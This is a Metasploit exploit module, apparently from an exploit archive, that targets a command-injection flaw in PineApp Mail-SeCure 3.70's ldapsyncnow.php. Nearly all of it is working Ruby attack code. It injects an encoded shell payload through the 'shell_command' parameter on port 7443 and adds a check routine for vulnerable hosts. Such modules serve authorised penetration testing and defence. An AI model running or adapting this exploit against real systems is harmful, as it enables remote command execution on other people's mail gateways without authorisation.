PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution Exploit

:
05.08.2013
:
PineApp Mail-SeCure 3.70.
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on PineApp Mail-SeCure
3.70. The vulnerability exists on the ldapsyncnow.php component, due to the insecure
usage of the shell_exec() php function. This module has been tested successfully
on PineApp Mail-SeCure 3.70.
},
'Author' =>
[
'Dave Weinstein', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python telnet'
}
},
'Targets' =>
[
[ 'PineApp Mail-SeCure 3.70', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 26 2013'
))

register_options(
[
Opt::RPORT(7443)
],
self.class
)

end

def my_uri
return normalize_uri("/admin/ldapsyncnow.php")
end

def check
# Since atm of writing this exploit there isn't patch available,
# checking for the vulnerable component should be a reliable test.
res = send_request_cgi({
'uri' => my_uri,
'vars_get' => {
'sync_now' =>'1'
}
})
if res and res.code == 200 and res.body =~ /window\.setTimeout\('loaded\(\)', 2500\);/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

def exploit
print_status("#{rhost}:#{rport} - Executing payload...")
send_request_cgi({
'uri' => my_uri,
'vars_get' => {
'sync_now' =>'1', # must be 1 in order to trigger the vulnerability
'shell_command' => payload.encoded
}
})
end

end